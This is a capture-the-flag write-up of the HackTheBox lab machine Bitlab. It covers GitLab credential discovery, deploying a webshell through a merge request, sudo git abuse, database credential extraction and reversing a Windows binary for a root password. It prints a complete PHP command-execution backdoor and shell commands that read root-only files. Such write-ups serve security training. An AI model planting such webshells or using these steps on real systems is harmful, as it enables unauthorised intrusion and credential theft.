HTB: Bitlab

Posted on 11 Jan 2020 in security • 5 min read

Bitlab Card

This is a writeup about a retired HacktheBox machine: Bitlab. This box is rated as a medium box. It implies a gitlab, a user, some enumeration, a PostgreSQL database, some pain with a b64 password and some basic reverse engineering on a Windows binary.

If you just want to play with the binary: it is available in the "RemoteConnection.exe" part.

Getting user

Recon

Let us start as always by a nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open:

# Nmap 7.80 scan initiated Mon Nov 25 13:23:49 2019 as: nmap -p- -oA nmap 10.10.10.114
Nmap scan report for 10.10.10.114
Host is up (0.099s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon Nov 25 13:26:14 2019 -- 1 IP address (1 host up) scanned in 145.18 seconds

Web

The home page is a gitlab home page.

We run a dirb against the home page and discover a few pages and directory.

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: dirb
START_TIME: Mon Nov 25 13:28:27 2019
URL_BASE: http://10.10.10.114/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.114/ ----
+ http://10.10.10.114/explore (CODE:200|SIZE:13675)
+ http://10.10.10.114/favicon.ico (CODE:301|SIZE:169)
+ http://10.10.10.114/groups (CODE:302|SIZE:100)
==> DIRECTORY: http://10.10.10.114/help/
==> DIRECTORY: http://10.10.10.114/profile/
+ http://10.10.10.114/projects (CODE:302|SIZE:93)
+ http://10.10.10.114/public (CODE:200|SIZE:13755)
+ http://10.10.10.114/robots.txt (CODE:200|SIZE:2153)
+ http://10.10.10.114/root (CODE:200|SIZE:16026)
+ http://10.10.10.114/Root (CODE:302|SIZE:90)
+ http://10.10.10.114/search (CODE:200|SIZE:13366)
+ http://10.10.10.114/snippets (CODE:302|SIZE:102)
+ http://10.10.10.114/test (CODE:302|SIZE:91)

---- Entering directory: http://10.10.10.114/help/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.114/profile/ ----
+ http://10.10.10.114/profile/index.php (CODE:200|SIZE:4184)

-----------------
END_TIME: Mon Nov 25 13:44:24 2019
DOWNLOADED: 9224 - FOUND: 12

Gitlab unauthenticated

The profile URL give us access to some developer ugly profile:

Clave profile

When looking at the main page we can see an help link linking to a directory listing page linking to a bookmarks page with a few bookmarks.

help link Directory listing Last bookmark

The last link as the following value.

:::text javascript:(function(){%20var%20_0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document_0x4b18[2][_0x4b18[0]]=%20_0x4b18[3];document_0x4b18[2][_0x4b18[0]]=%20_0x4b18[5];%20})()

We use an online JavaScript Deobfuscator and Unpacker to get the link "true" value:

javascript: (function () {
    % 20
    var % 20 _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = % 20 _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = % 20 _0x4b18[5]; % 20
})()

The credentials "clave" and "11des0081x" allow us to connect to the gitlab. We have access to two projects owned by the "administrator" user: "Profile" and "Deployer".

Connected user

Gitlab authenticated

The first project is the developer profile seen earlier. The second project is the code use to deploy the first project using the following PHP syntax:

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}

We can add a PHP simple reverse shell (the one in /usr/share/webshells/php/simple-backdoor.php on Kali), make a pull request and merge it from the gitlab interface.

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

Adding some PHP file

We then use the "Deployer" by accessing the http://10.10.10.114/deployer/ URL and we can access our webshell with the http://10.10.10.114/profile/cmd2.php URL.

We can also deploy a reverse shell (from /usr/share/webshell/php/reverse-shell.php for instance) and get a shell as www-data We can use python -c 'import pty; pty.spawn("/bin/sh")' in order to get a interactive shell. We start enumerating the box and something interesting come out: Our user as a sudo permission with no password for /usr/bin/git pull.

$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

My first idea was to try sudo /usr/bin/git pull --help to get the pager as root but that doesn't work. The second idea was to create a new git repository and play with the post-merge hooks but I didn't had the right to create a new git project. It seems like a dead end.

$ cd /var/www/html
$ ls
deployer
help
index.html
profile
$ cp -r profile /tmp/poi
$ cd /tmp/poi
$ cd .git/hooks/
$ echo '#!/bin/bash' >> post-merge
$ echo 'cat /root/root.txt' >> post-merge
$ chmod +x post-merge
$ sudo /usr/bin/git pull
fatal: this operation must be run in a work tree

Postgresql

By exploring more the gitlab we can found a "snippet" name "Postgresql" containing the base of PHP script to connect to the database.

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

We complete the script to display the database content.

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$numrows = pg_numrows($result);
for($i = 0; $i < $numrows; $i++)
{
    $row = pg_fetch_array($result, $i);
    echo "id: " . $row[0];
    echo "user: " . $row[1];
    echo "pass: " . $row[2];
}
?>

We then deploy it and execute it. The content of the database is id: 1user: clavepass: c3NoLXN0cjBuZy1wQHNz== Decoding the base64 password give an error as the padding is wrong.

echo -ne 'c3NoLXN0cjBuZy1wQHNz' | base64 -d
ssh-str0ng-p@ss

The decoded password do not work. But using the base64 password is working (WHY WOULD YOU DO THAT?! this can be a complete brainfuck). We can then connect to the box as clave using SSH and get the user flag.

ssh clave@10.10.10.114
clave@10.10.10.114's password:
Last login: Tue Nov 26 07:17:40 2019 from 10.10.15.35
clave@bitlab:~$ ls
RemoteConnection.exe  user.txt
clave@bitlab:~$ cat user.txt
1e3fd8<redacted>

Getting root

RemoteConnection.exe

If you just want to work on the binary, it is available here.

A RemoteConnection.exe binary is available in clave's home folder. We copy it on our local system. It effectively a 32 bits Windows binary.

file RemoteConnection.exe
RemoteConnection.exe: PE32 executable (console) Intel 80386, for MS Windows

We can run strings in order to find an hard coded password but this is not the case here.

strings RemoteConnection.exe 
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
@.reloc
M$SR
u$9U8s
hL2@
hY(@
hL2@
Y_^[
SVWP
h,2@
Y_^[
h\2@
hL2@
=x@@
=|@@
<SNIP>

We boot a Windows Box (That is the first time that I boot a Windows box for a HTB challenge) and run the binary in it. We got a message Access Denied !!

>RemoteConnection.exe 10.10.10.114
Access Denied !!

x64dbg

We load the binary in x64dbg. We run to user code (+). Then we take a look at the strings. It seems that our binary use putty to establish a remote SSH connection.

Strings in the binary

We put a breakpoint ( on the Access Denied !! string).

Breaking on "Access Denied"

And we execute the program (it will automatically stop at our breakpoint). We can see that we got the options for putty: 005EF708 02533678 "-ssh root@gitlab.htb -pw \"Qf7]8YSV.wDNF*[7d?j&eD4^\"". We directly use the password to connect as root on the box and get the flag.

The putty options at our breakpoint

root@kalili:~# ssh root@10.10.10.114 root@10.10.10.114's password: Last login: Tue Nov 26 10:41:25 2019 from 10.10.15.142 root@bitlab:~# cat /root/root.txt 8d4cc13

Wrapping up

This box was interesting. The base64 password was a pain but still the user part was quit realist as a lot of companies have some code versioning and CI tools (gitlab, gogs, jenkins) the root part was interesting at it implies some basic reverse engineering.